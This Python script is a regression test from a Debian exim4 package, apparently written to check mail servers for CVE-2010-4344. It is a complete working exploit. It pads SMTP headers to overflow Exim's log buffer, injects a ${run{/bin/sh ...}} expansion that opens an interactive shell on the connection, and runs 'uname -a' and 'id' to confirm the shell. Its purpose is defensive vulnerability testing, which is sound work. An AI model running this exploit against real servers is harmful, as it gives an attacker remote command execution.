Imported Debian patch 4.84-8
[hcoop/debian/exim4.git] / debian / tests / CVE-2010-4344.py
1 #!/usr/bin/env python
2 # Copyright 2010, Canonical, Ltd.
3 # Author: Kees Cook <kees@ubuntu.com>
4 # License: GPLv2
5
6 import socket, sys
7
8 HOST = sys.argv[1]
9 PORT = 25
10
11 try:
12 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13 except socket.error, msg:
14 sys.stderr.write("[ERROR] %s\n" % msg[1])
15 sys.exit(1)
16
17 try:
18 sock.settimeout(10)
19 sock.connect((HOST, PORT))
20 except socket.error, msg:
21 sys.stderr.write("[ERROR] %s\n" % msg[1])
22 sys.exit(2)
23
24 def want(value, cmd=None):
25 if cmd != None:
26 sys.stdout.write("%s\n" % (cmd))
27 sock.send("%s\n" % (cmd))
28 data = sock.recv(1024)
29 sys.stdout.write(data)
30 final = data.splitlines().pop()
31 if not final.startswith('%d ' % (value)):
32 sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value))
33 sys.exit(5)
34 return data
35
36 mail_from = '<root@localhost>'
37 rcpt_to = '<postmaster@localhost>'
38 helo = 'example.com'
39
40 want(220)
41 data = want(250, "EHLO %s" % (helo))
42 ident = data.splitlines()[0].split()
43 # Extract DNS details from helo response
44 sending_host = '%s (%s) %s' % (ident[2], helo, ident[3])
45
46 want(250, "MAIL FROM:%s" % (mail_from))
47 want(250, "RCPT TO:%s" % (rcpt_to))
48 want(354, "DATA")
49
50 # want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
51 # and minus the logging header...
52 target = 8189
53 sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
54 Envelope-from: %s
55 Envelope-to: %s
56 ''' % (mail_from, sending_host, mail_from, rcpt_to))
57 send = target - sent
58 count = 0
59 padding = 3 # because of logging's " " prefix and "\n" suffix
60 taunt = 'M4iLB0mb'
61 header = 'MAILbombhdr%04d: '
62 chunksize = len(header) + 120
63 amount = send
64 while amount > chunksize:
65 prev = amount
66 amount /= 2
67 chunksize = prev
68 chunksize = 100
69 #print "Chunk size: %d" % (chunksize)
70
71 #print "hit enter to continue"
72 #sys.stdin.readline()
73
74 while send > 0:
75 count += 1
76 #print "At position %d (%d to go)" % (sent, send)
77 data = header % (count)
78 perline = chunksize - padding
79 data += taunt * chunksize
80
81 # Down-regulate
82 togo = send - padding
83 if togo > perline:
84 togo = perline
85 # Fill hole for easier forward calculations
86 left = sent % 100
87 if left != 0:
88 left = 100 - left
89 if left < len(header) + (padding * 2):
90 left += 100
91 togo = left - padding
92 data = data[0:togo]
93
94 sock.send('%s\n' % (data))
95 send -= len(data) + padding
96 sent += len(data) + padding
97 #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)
98
99 # This header will expand past the logging buffer
100 sys.stdout.write("Sending exploit header\n")
101 sock.send('HeaderX: ')
102 for j in range(50):
103 for i in range(3, 13):
104 sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i)
105 sock.send("\n");
106
107 # Now trigger the "message too large" handler
108 sys.stdout.write("Sending body to trigger reject\n")
109 sock.send("\n");
110 for i in range(700000):
111 sock.send(taunt * 10 + "\n")
112 sock.send(".\n")
113
114 want(552)
115 sock.settimeout(1)
116 trigger = "MAIL FROM:%s\n" % (mail_from)
117 sys.stdout.write(trigger)
118 sock.send(trigger)
119
120 final = ""
121 shell = False
122 hit = False
123 while True:
124 try:
125 data = sock.recv(1024)
126 except:
127 break
128 sys.stdout.write(data)
129 sys.stdout.flush()
130 final += data
131 if '/bin/sh' in final:
132 shell = True
133 if shell and not hit:
134 sock.send("uname -a\n")
135 sock.send("id\n")
136 hit = True
137
138 sock.close()
139 if shell:
140 print "\nSystem is vulnerable"
141 sys.exit(1)
142 print "\nSystem appears safe"
143 sys.exit(0)